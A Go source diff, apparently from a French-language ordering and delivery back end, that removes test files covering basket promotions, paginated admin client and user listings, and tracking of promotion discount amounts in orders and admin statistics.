{BuyQuantity: 10, FreeQuantity: 1},
|
||||
}},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
basket, err := testDB.AddToBasket(username, productID, 10)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
if basket.Quantity != 11 {
|
||||
t.Errorf("le cadeau doit s'appliquer malgré la promo active: got quantity=%.2f want=11", basket.Quantity)
|
||||
}
|
||||
if basket.Price != 8.0 {
|
||||
t.Errorf("la promo doit s'appliquer malgré le cadeau actif: got price=%.2f want=8.00 (10€ - 20%%)", basket.Price)
|
||||
}
|
||||
}
|
||||
@@ -37,9 +37,6 @@ func nextTestPhone() string {
|
||||
func TestMain(m *testing.M) {
|
||||
gin.SetMode(gin.TestMode)
|
||||
testDB = db.InitDB()
|
||||
// Même séquence que main.go : sans cette migration, la colonne
|
||||
// two_fa_enabled manque et GetClientByUsername échoue.
|
||||
testDB.MigrateAddTelegramColumns()
|
||||
db.InitRedis()
|
||||
os.Exit(m.Run())
|
||||
}
|
||||
|
||||
@@ -1,457 +0,0 @@
|
||||
// Tests pour la pagination de GET /admin/protected/all/clients et
|
||||
// GET /admin/protected/all/users (db.GetAllClients / db.GetAllUsers et leurs
|
||||
// handlers), ajoutée pour éviter de charger la table entière d'un coup, et
|
||||
// pour la régression N+1 sur le champ "parrain" (désormais inclus directement
|
||||
// dans GetAllClients au lieu d'un appel séparé par client).
|
||||
//
|
||||
// Les totaux attendus sont calculés par rapport à une mesure de référence
|
||||
// (baseline) prise avant la création des données de test, pour que ces tests
|
||||
// restent corrects même exécutés contre une base déjà peuplée : comme le tri
|
||||
// est `created_at DESC`, les clients/users nouvellement créés sont toujours
|
||||
// les plus récents et apparaissent donc en tête de liste (offsets les plus
|
||||
// bas), quel que soit le volume de données préexistantes.
|
||||
package tests
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"net/http"
|
||||
"net/http/httptest"
|
||||
"net/url"
|
||||
"testing"
|
||||
|
||||
"gestion/handlers"
|
||||
|
||||
"github.com/gin-gonic/gin"
|
||||
)
|
||||
|
||||
// newTestUserRow crée une ligne dans la table users avec le rôle donné et
|
||||
// programme son nettoyage en fin de test.
|
||||
func newTestUserRow(t *testing.T, name, role string) string {
|
||||
t.Helper()
|
||||
username := testUserPrefix + name
|
||||
if err := testDB.GDB.Exec(
|
||||
`INSERT INTO users (username, password, role) VALUES (?, 'x', ?) ON CONFLICT (username) DO NOTHING`,
|
||||
username, role,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("création user test %q: %v", username, err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
testDB.GDB.Exec(`DELETE FROM users WHERE username = ?`, username)
|
||||
})
|
||||
return username
|
||||
}
|
||||
|
||||
// ── db.GetAllClients ───────────────────────────────────────────────────────
|
||||
|
||||
func TestGetAllClients_PaginationIsConsistentAndCovers(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
|
||||
_, baseline, err := testDB.GetAllClients(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllClients (baseline): %v", err)
|
||||
}
|
||||
|
||||
a := newTestClient(t, "pg_cli_a")
|
||||
b := newTestClient(t, "pg_cli_b")
|
||||
c := newTestClient(t, "pg_cli_c")
|
||||
|
||||
page1, total1, err := testDB.GetAllClients(2, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllClients page1: %v", err)
|
||||
}
|
||||
page2, total2, err := testDB.GetAllClients(2, 2)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllClients page2: %v", err)
|
||||
}
|
||||
|
||||
wantTotal := baseline + 3
|
||||
if total1 != wantTotal || total2 != wantTotal {
|
||||
t.Fatalf("le total doit être stable entre deux pages et refléter les lignes réelles: total1=%d total2=%d want=%d", total1, total2, wantTotal)
|
||||
}
|
||||
if len(page1) != 2 {
|
||||
t.Fatalf("page1 (limit=2) doit contenir 2 clients: got=%d", len(page1))
|
||||
}
|
||||
wantPage2Len := int(total2) - 2
|
||||
if wantPage2Len > 2 {
|
||||
wantPage2Len = 2
|
||||
}
|
||||
if wantPage2Len < 0 {
|
||||
wantPage2Len = 0
|
||||
}
|
||||
if len(page2) != wantPage2Len {
|
||||
t.Fatalf("page2 (limit=2, offset=2, total=%d) doit contenir %d client(s): got=%d", total2, wantPage2Len, len(page2))
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
for _, cl := range page1 {
|
||||
if seen[cl.Username] {
|
||||
t.Errorf("doublon intra-page1: %q", cl.Username)
|
||||
}
|
||||
seen[cl.Username] = true
|
||||
}
|
||||
for _, cl := range page2 {
|
||||
if seen[cl.Username] {
|
||||
t.Errorf("le client %q apparaît sur deux pages consécutives : pagination incohérente", cl.Username)
|
||||
}
|
||||
seen[cl.Username] = true
|
||||
}
|
||||
// Les 3 clients créés sont les plus récents (created_at DESC) : ils sont
|
||||
// forcément dans les 4 premiers emplacements (page1 + page2 = offsets 0..3).
|
||||
for _, username := range []string{a, b, c} {
|
||||
if !seen[username] {
|
||||
t.Errorf("le client %q créé par le test n'apparaît sur aucune des deux pages", username)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Régression de la correction N+1 : GetAllClients doit renvoyer le parrain et
|
||||
// le motif de pénalité déjà en base dans le même appel, sans qu'il faille une
|
||||
// requête getClientParrain séparée par client.
|
||||
func TestGetAllClients_IncludesParrainAndLastPenaltyReason(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
parrain := newTestClient(t, "pg_parrain")
|
||||
filleul := newTestClient(t, "pg_filleul")
|
||||
|
||||
if err := testDB.SetClientParrainAndCredit(filleul, parrain, 0); err != nil {
|
||||
t.Fatalf("SetClientParrainAndCredit: %v", err)
|
||||
}
|
||||
if err := testDB.GDB.Exec(
|
||||
`UPDATE clients SET last_penalty_reason = ? WHERE username = ?`,
|
||||
"retard livraison", filleul,
|
||||
).Error; err != nil {
|
||||
t.Fatalf("UPDATE last_penalty_reason: %v", err)
|
||||
}
|
||||
|
||||
// Le filleul vient d'être créé/modifié : c'est la ligne la plus récente,
|
||||
// donc garantie en première position (offset 0) quel que soit le volume
|
||||
// de données existantes.
|
||||
clients, _, err := testDB.GetAllClients(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllClients: %v", err)
|
||||
}
|
||||
if len(clients) != 1 || clients[0].Username != filleul {
|
||||
t.Fatalf("le client le plus récemment créé doit être en tête de liste: got=%+v", clients)
|
||||
}
|
||||
|
||||
got := clients[0]
|
||||
if got.Parrain != parrain {
|
||||
t.Errorf("GetAllClients doit renvoyer le parrain déjà enregistré en base: got=%q want=%q", got.Parrain, parrain)
|
||||
}
|
||||
if got.LastPenaltyReason != "retard livraison" {
|
||||
t.Errorf("GetAllClients doit renvoyer last_penalty_reason: got=%q want=%q", got.LastPenaltyReason, "retard livraison")
|
||||
}
|
||||
}
|
||||
|
||||
// ── db.GetAllUsers ─────────────────────────────────────────────────────────
|
||||
|
||||
func TestGetAllUsers_PaginationIsConsistentAndCovers(t *testing.T) {
|
||||
_, baseline, err := testDB.GetAllUsers(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllUsers (baseline): %v", err)
|
||||
}
|
||||
|
||||
a := newTestUserRow(t, "pg_usr_a", "livreur")
|
||||
b := newTestUserRow(t, "pg_usr_b", "cabine")
|
||||
c := newTestUserRow(t, "pg_usr_c", "admin")
|
||||
|
||||
page1, total1, err := testDB.GetAllUsers(2, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllUsers page1: %v", err)
|
||||
}
|
||||
page2, total2, err := testDB.GetAllUsers(2, 2)
|
||||
if err != nil {
|
||||
t.Fatalf("GetAllUsers page2: %v", err)
|
||||
}
|
||||
|
||||
wantTotal := baseline + 3
|
||||
if total1 != wantTotal || total2 != wantTotal {
|
||||
t.Fatalf("le total doit être stable entre deux pages: total1=%d total2=%d want=%d", total1, total2, wantTotal)
|
||||
}
|
||||
if len(page1) != 2 {
|
||||
t.Fatalf("page1 (limit=2) doit contenir 2 users: got=%d", len(page1))
|
||||
}
|
||||
wantPage2Len := int(total2) - 2
|
||||
if wantPage2Len > 2 {
|
||||
wantPage2Len = 2
|
||||
}
|
||||
if wantPage2Len < 0 {
|
||||
wantPage2Len = 0
|
||||
}
|
||||
if len(page2) != wantPage2Len {
|
||||
t.Fatalf("page2 (limit=2, offset=2, total=%d) doit contenir %d user(s): got=%d", total2, wantPage2Len, len(page2))
|
||||
}
|
||||
|
||||
seen := map[string]bool{}
|
||||
for _, u := range page1 {
|
||||
seen[u.Username] = true
|
||||
}
|
||||
for _, u := range page2 {
|
||||
if seen[u.Username] {
|
||||
t.Errorf("le user %q apparaît sur deux pages consécutives : pagination incohérente", u.Username)
|
||||
}
|
||||
seen[u.Username] = true
|
||||
}
|
||||
for _, username := range []string{a, b, c} {
|
||||
if !seen[username] {
|
||||
t.Errorf("le user %q créé par le test n'apparaît sur aucune des deux pages", username)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ── Handlers : query params, clamp, count/has_more ──────────────────────────
|
||||
|
||||
type pagedListResponse struct {
|
||||
Clients []struct {
|
||||
Username string `json:"username"`
|
||||
} `json:"clients"`
|
||||
Users []struct {
|
||||
Username string `json:"username"`
|
||||
} `json:"users"`
|
||||
Count int64 `json:"count"`
|
||||
HasMore bool `json:"has_more"`
|
||||
}
|
||||
|
||||
func clientsListContext(role string, query url.Values) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v2/admin/protected/all/clients?"+query.Encode(), nil)
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", role)
|
||||
return c, rec
|
||||
}
|
||||
|
||||
func usersListContext(role string, query url.Values) (*gin.Context, *httptest.ResponseRecorder) {
|
||||
req := httptest.NewRequest(http.MethodGet, "/api/v2/admin/protected/all/users?"+query.Encode(), nil)
|
||||
rec := httptest.NewRecorder()
|
||||
c, _ := gin.CreateTestContext(rec)
|
||||
c.Request = req
|
||||
c.Set("database", testDB)
|
||||
c.Set("role", role)
|
||||
return c, rec
|
||||
}
|
||||
|
||||
func TestGetAllClientsHandler_RejectsNonAdminNonCabine(t *testing.T) {
|
||||
c, rec := clientsListContext("livreur", url.Values{})
|
||||
handlers.GetAllClients(c)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Errorf("role livreur doit être refusé: got=%d want=403", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAllClientsHandler_ClampsLimitAndReportsRealTotal(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
_, baseline, err := testDB.GetAllClients(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("baseline: %v", err)
|
||||
}
|
||||
newTestClient(t, "pg_h_cli_a")
|
||||
newTestClient(t, "pg_h_cli_b")
|
||||
newTestClient(t, "pg_h_cli_c")
|
||||
wantTotal := baseline + 3
|
||||
|
||||
q := url.Values{}
|
||||
q.Set("limit", "1000") // doit être plafonné à 100 côté serveur
|
||||
c, rec := clientsListContext("admin", q)
|
||||
handlers.GetAllClients(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp pagedListResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if len(resp.Clients) > 100 {
|
||||
t.Errorf("limit doit être plafonnée à 100 côté serveur même si le client en demande 1000: got=%d", len(resp.Clients))
|
||||
}
|
||||
if resp.Count != wantTotal {
|
||||
t.Errorf("count doit être le total réel en base, pas la taille de la page renvoyée: got=%d want=%d", resp.Count, wantTotal)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAllClientsHandler_HasMoreReflectsRemainingRows(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
_, baseline, err := testDB.GetAllClients(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("baseline: %v", err)
|
||||
}
|
||||
newTestClient(t, "pg_h_hm_a")
|
||||
newTestClient(t, "pg_h_hm_b")
|
||||
newTestClient(t, "pg_h_hm_c")
|
||||
total := baseline + 3
|
||||
|
||||
q := url.Values{}
|
||||
q.Set("limit", "2")
|
||||
q.Set("offset", "0")
|
||||
c, rec := clientsListContext("admin", q)
|
||||
handlers.GetAllClients(c)
|
||||
var resp pagedListResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.HasMore {
|
||||
t.Errorf("has_more doit être true: offset(0)+limit(2)=2 < total(%d)", total)
|
||||
}
|
||||
|
||||
q2 := url.Values{}
|
||||
q2.Set("limit", "2")
|
||||
q2.Set("offset", fmt.Sprintf("%d", total-1))
|
||||
c2, rec2 := clientsListContext("admin", q2)
|
||||
handlers.GetAllClients(c2)
|
||||
var resp2 pagedListResponse
|
||||
if err := json.Unmarshal(rec2.Body.Bytes(), &resp2); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec2.Body.String())
|
||||
}
|
||||
if resp2.HasMore {
|
||||
t.Errorf("has_more doit être false à la dernière page: offset=%d total=%d", total-1, total)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAllUsersHandler_RejectsNonAdminNonCabine(t *testing.T) {
|
||||
c, rec := usersListContext("livreur", url.Values{})
|
||||
handlers.GetAllUsers(c)
|
||||
if rec.Code != http.StatusForbidden {
|
||||
t.Errorf("role livreur doit être refusé: got=%d want=403", rec.Code)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAllUsersHandler_ClampsLimitAndReportsRealTotal(t *testing.T) {
|
||||
_, baseline, err := testDB.GetAllUsers(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("baseline: %v", err)
|
||||
}
|
||||
newTestUserRow(t, "pg_h_usr_a", "livreur")
|
||||
newTestUserRow(t, "pg_h_usr_b", "cabine")
|
||||
newTestUserRow(t, "pg_h_usr_c", "admin")
|
||||
wantTotal := baseline + 3
|
||||
|
||||
q := url.Values{}
|
||||
q.Set("limit", "1000")
|
||||
c, rec := usersListContext("admin", q)
|
||||
handlers.GetAllUsers(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("got=%d body=%s", rec.Code, rec.Body.String())
|
||||
}
|
||||
|
||||
var resp pagedListResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if len(resp.Users) > 100 {
|
||||
t.Errorf("limit doit être plafonnée à 100 côté serveur même si le client en demande 1000: got=%d", len(resp.Users))
|
||||
}
|
||||
if resp.Count != wantTotal {
|
||||
t.Errorf("count doit être le total réel en base, pas la taille de la page renvoyée: got=%d want=%d", resp.Count, wantTotal)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAllUsersHandler_HasMoreReflectsRemainingRows(t *testing.T) {
|
||||
_, baseline, err := testDB.GetAllUsers(1, 0)
|
||||
if err != nil {
|
||||
t.Fatalf("baseline: %v", err)
|
||||
}
|
||||
newTestUserRow(t, "pg_h_usr_hm_a", "livreur")
|
||||
newTestUserRow(t, "pg_h_usr_hm_b", "cabine")
|
||||
newTestUserRow(t, "pg_h_usr_hm_c", "admin")
|
||||
total := baseline + 3
|
||||
|
||||
q := url.Values{}
|
||||
q.Set("limit", "2")
|
||||
q.Set("offset", "0")
|
||||
c, rec := usersListContext("admin", q)
|
||||
handlers.GetAllUsers(c)
|
||||
var resp pagedListResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
if !resp.HasMore {
|
||||
t.Errorf("has_more doit être true: offset(0)+limit(2)=2 < total(%d)", total)
|
||||
}
|
||||
|
||||
q2 := url.Values{}
|
||||
q2.Set("limit", "2")
|
||||
q2.Set("offset", fmt.Sprintf("%d", total-1))
|
||||
c2, rec2 := usersListContext("admin", q2)
|
||||
handlers.GetAllUsers(c2)
|
||||
var resp2 pagedListResponse
|
||||
if err := json.Unmarshal(rec2.Body.Bytes(), &resp2); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec2.Body.String())
|
||||
}
|
||||
if resp2.HasMore {
|
||||
t.Errorf("has_more doit être false à la dernière page: offset=%d total=%d", total-1, total)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Paramètres invalides : retour aux valeurs par défaut ────────────────────
|
||||
|
||||
// listUsernames appelle le handler avec les query params donnés et renvoie les
|
||||
// usernames de la page, dans l'ordre de la réponse.
|
||||
func listUsernames(t *testing.T, handler func(*gin.Context), ctx func(string, url.Values) (*gin.Context, *httptest.ResponseRecorder), q url.Values) []string {
|
||||
t.Helper()
|
||||
c, rec := ctx("admin", q)
|
||||
handler(c)
|
||||
if rec.Code != http.StatusOK {
|
||||
t.Fatalf("query %q: got=%d body=%s", q.Encode(), rec.Code, rec.Body.String())
|
||||
}
|
||||
var resp pagedListResponse
|
||||
if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil {
|
||||
t.Fatalf("décodage réponse: %v body=%s", err, rec.Body.String())
|
||||
}
|
||||
var names []string
|
||||
for _, cl := range resp.Clients {
|
||||
names = append(names, cl.Username)
|
||||
}
|
||||
for _, u := range resp.Users {
|
||||
names = append(names, u.Username)
|
||||
}
|
||||
return names
|
||||
}
|
||||
|
||||
var invalidPaginationQueries = []struct {
|
||||
name, key, value string
|
||||
}{
|
||||
{"limit non numérique", "limit", "abc"},
|
||||
{"limit négatif", "limit", "-1"},
|
||||
{"limit à zéro", "limit", "0"},
|
||||
{"offset non numérique", "offset", "abc"},
|
||||
{"offset négatif", "offset", "-1"},
|
||||
}
|
||||
|
||||
// Une valeur invalide ne doit ni faire échouer la requête ni être appliquée :
|
||||
// la page renvoyée doit être identique à celle obtenue sans paramètre
|
||||
// (limit=100, offset=0).
|
||||
func assertInvalidParamsFallBackToDefaults(t *testing.T, handler func(*gin.Context), ctx func(string, url.Values) (*gin.Context, *httptest.ResponseRecorder)) {
|
||||
t.Helper()
|
||||
want := listUsernames(t, handler, ctx, url.Values{})
|
||||
if len(want) == 0 {
|
||||
t.Fatal("la page par défaut ne doit pas être vide (données de test créées)")
|
||||
}
|
||||
for _, tc := range invalidPaginationQueries {
|
||||
t.Run(tc.name, func(t *testing.T) {
|
||||
q := url.Values{}
|
||||
q.Set(tc.key, tc.value)
|
||||
got := listUsernames(t, handler, ctx, q)
|
||||
if len(got) != len(want) || got[0] != want[0] {
|
||||
t.Errorf("%s=%s doit revenir aux valeurs par défaut: got len=%d first=%v want len=%d first=%q",
|
||||
tc.key, tc.value, len(got), got, len(want), want[0])
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetAllClientsHandler_InvalidParamsFallBackToDefaults(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
newTestClient(t, "pg_inv_cli_a")
|
||||
newTestClient(t, "pg_inv_cli_b")
|
||||
newTestClient(t, "pg_inv_cli_c")
|
||||
assertInvalidParamsFallBackToDefaults(t, handlers.GetAllClients, clientsListContext)
|
||||
}
|
||||
|
||||
func TestGetAllUsersHandler_InvalidParamsFallBackToDefaults(t *testing.T) {
|
||||
newTestUserRow(t, "pg_inv_usr_a", "livreur")
|
||||
newTestUserRow(t, "pg_inv_usr_b", "cabine")
|
||||
newTestUserRow(t, "pg_inv_usr_c", "admin")
|
||||
assertInvalidParamsFallBackToDefaults(t, handlers.GetAllUsers, usersListContext)
|
||||
}
|
||||
@@ -1,308 +0,0 @@
|
||||
package tests
|
||||
|
||||
import (
|
||||
"gestion/db"
|
||||
"gestion/models"
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// ── Traçage du montant économisé (AddToBasket → command_items) ─────────────
|
||||
//
|
||||
// command_items.promo_discount / baskets.promo_discount capturent le montant
|
||||
// (€) économisé par une promotion de prix au moment de AddToBasket, pour
|
||||
// permettre des statistiques historiques fiables même si la configuration de
|
||||
// promotion change ensuite (voir db_basket.go, commentaire sur promoDiscount).
|
||||
|
||||
func TestAddToBasket_TracksPromoDiscountAmount(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "promo_discount_track")
|
||||
productID := newTestProduct(t, "PromoDiscountTrack", 20)
|
||||
// newTestProduct crée un palier quantity=1 à 10.00€ dans la catégorie "test".
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
basket, err := testDB.AddToBasket(username, productID, 1)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
if basket.Price != 8.0 {
|
||||
t.Fatalf("précondition prix promo: got=%.2f want=8.00", basket.Price)
|
||||
}
|
||||
if basket.PromoDiscount != 2.0 {
|
||||
t.Errorf("promo_discount doit être l'écart catalogue/promo: got=%.2f want=2.00 (10€-8€)", basket.PromoDiscount)
|
||||
}
|
||||
}
|
||||
|
||||
func TestAddToBasket_NoPromoDiscountWithoutPromotion(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "promo_discount_none")
|
||||
productID := newTestProduct(t, "PromoDiscountNone", 20)
|
||||
|
||||
basket, err := testDB.AddToBasket(username, productID, 1)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
if basket.PromoDiscount != 0 {
|
||||
t.Errorf("sans promo, promo_discount doit rester à 0: got=%.2f", basket.PromoDiscount)
|
||||
}
|
||||
}
|
||||
|
||||
// Deux ajouts successifs du même produit (même ligne panier, is_reward=false)
|
||||
// fusionnent quantité et prix (voir AddToBasket) — promo_discount doit être
|
||||
// cumulé de la même façon, pas remplacé par le dernier ajout.
|
||||
func TestAddToBasket_MergePromoDiscountAccumulatesAcrossAdds(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "promo_discount_merge")
|
||||
productID := newTestProduct(t, "PromoDiscountMerge", 20)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket (1er ajout): %v", err)
|
||||
}
|
||||
basket, err := testDB.AddToBasket(username, productID, 1)
|
||||
if err != nil {
|
||||
t.Fatalf("AddToBasket (2e ajout): %v", err)
|
||||
}
|
||||
if basket.PromoDiscount != 4.0 {
|
||||
t.Errorf("le cumul des deux ajouts doit sommer les remises: got=%.2f want=4.00 (2×2€)", basket.PromoDiscount)
|
||||
}
|
||||
}
|
||||
|
||||
func TestCheckout_PromoDiscountCopiedToCommandItems(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "promo_discount_checkout")
|
||||
productID := newTestProduct(t, "PromoDiscountCheckout", 20)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
||||
}
|
||||
|
||||
var discount float64
|
||||
if err := testDB.GDB.Raw(
|
||||
`SELECT promo_discount FROM command_items WHERE command_id = ? AND product_id = ?`,
|
||||
cmd.ID, productID,
|
||||
).Scan(&discount).Error; err != nil {
|
||||
t.Fatalf("lecture command_items: %v", err)
|
||||
}
|
||||
if discount != 2.0 {
|
||||
t.Errorf("promo_discount doit être copié tel quel au checkout: got=%.2f want=2.00", discount)
|
||||
}
|
||||
}
|
||||
|
||||
// ── Stats admin : total économisé et nombre de commandes concernées ────────
|
||||
|
||||
func approveTestCommand(t *testing.T, commandID int) {
|
||||
t.Helper()
|
||||
if err := testDB.GDB.Exec(`UPDATE commandes SET status = 'approved' WHERE id = ?`, commandID).Error; err != nil {
|
||||
t.Fatalf("passage en approved: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTotalPromoDiscount_SumsOnlyApprovedOrders(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "stats_promo_discount")
|
||||
productID := newTestProduct(t, "StatsPromoDiscount", 20)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
|
||||
// Commande 1 : avec promo, approuvée → comptée.
|
||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket (cmd1): %v", err)
|
||||
}
|
||||
cmd1, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress (cmd1): %v", err)
|
||||
}
|
||||
approveTestCommand(t, cmd1.ID)
|
||||
|
||||
// Commande 2 : avec promo, restée "pending" (statut par défaut du
|
||||
// checkout) → NE DOIT PAS être comptée.
|
||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket (cmd2): %v", err)
|
||||
}
|
||||
if _, err := testDB.CreateCommandWithAddress(username, "1 rue de test"); err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress (cmd2): %v", err)
|
||||
}
|
||||
|
||||
total, err := testDB.TotalPromoDiscount(time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
||||
}
|
||||
if total != 2.0 {
|
||||
t.Errorf("seule la commande approuvée doit compter: got=%.2f want=2.00", total)
|
||||
}
|
||||
|
||||
count, err := testDB.PromoOrdersCount(time.Time{})
|
||||
if err != nil {
|
||||
t.Fatalf("PromoOrdersCount: %v", err)
|
||||
}
|
||||
if count != 1 {
|
||||
t.Errorf("une seule commande approuvée avec promo: got=%d want=1", count)
|
||||
}
|
||||
}
|
||||
|
||||
func TestTotalPromoDiscount_RespectsResetFilter(t *testing.T) {
|
||||
cleanupStockTestData(t)
|
||||
resetSettingsAfterTest(t)
|
||||
username := newTestClient(t, "stats_promo_reset")
|
||||
productID := newTestProduct(t, "StatsPromoReset", 20)
|
||||
|
||||
s := db.DefaultSettings()
|
||||
s.PromotionsEnabled = true
|
||||
s.Promotions = []models.CategoryPromotionConfig{
|
||||
{Category: "test", AllProducts: true, Quantity: 1, DiscountPercent: 20},
|
||||
}
|
||||
if err := testDB.UpdateSettings(s); err != nil {
|
||||
t.Fatalf("UpdateSettings: %v", err)
|
||||
}
|
||||
if _, err := testDB.AddToBasket(username, productID, 1); err != nil {
|
||||
t.Fatalf("AddToBasket: %v", err)
|
||||
}
|
||||
cmd, err := testDB.CreateCommandWithAddress(username, "1 rue de test")
|
||||
if err != nil {
|
||||
t.Fatalf("CreateCommandWithAddress: %v", err)
|
||||
}
|
||||
approveTestCommand(t, cmd.ID)
|
||||
|
||||
// Un reset postérieur à la création de la commande doit l'exclure — sert
|
||||
// aussi à vérifier que la jointure command_items/commandes qualifie bien
|
||||
// created_at par l'alias (les deux tables ont une colonne created_at,
|
||||
// donc une clause non qualifiée provoquerait une erreur Postgres
|
||||
// "ambiguous column" plutôt qu'un mauvais résultat).
|
||||
future := time.Now().Add(time.Hour)
|
||||
total, err := testDB.TotalPromoDiscount(future)
|
||||
if err != nil {
|
||||
t.Fatalf("TotalPromoDiscount: %v", err)
|
||||
}
|
||||
if total != 0 {
|
||||
t.Errorf("commande antérieure au reset: doit être exclue: got=%.2f want=0", total)
|
||||
}
|
||||
|
||||
count, err := testDB.PromoOrdersCount(future)
|
||||
if err != nil {
|
||||
t.Fatalf("PromoOrdersCount: %v", err)
|
||||
}
|
||||
if count != 0 {
|
||||
t.Errorf("commande antérieure au reset: doit être exclue: got=%d want=0", count)
|
||||
}
|
||||
}
|
||||
|
||||
// Une commande avec plusieurs lignes en promo ne doit compter qu'une fois
|
||||
// dans PromoOrdersCount (COUNT DISTINCT command_id), mais le montant total
|
||||
// doit sommer toutes les lignes.
|
||||
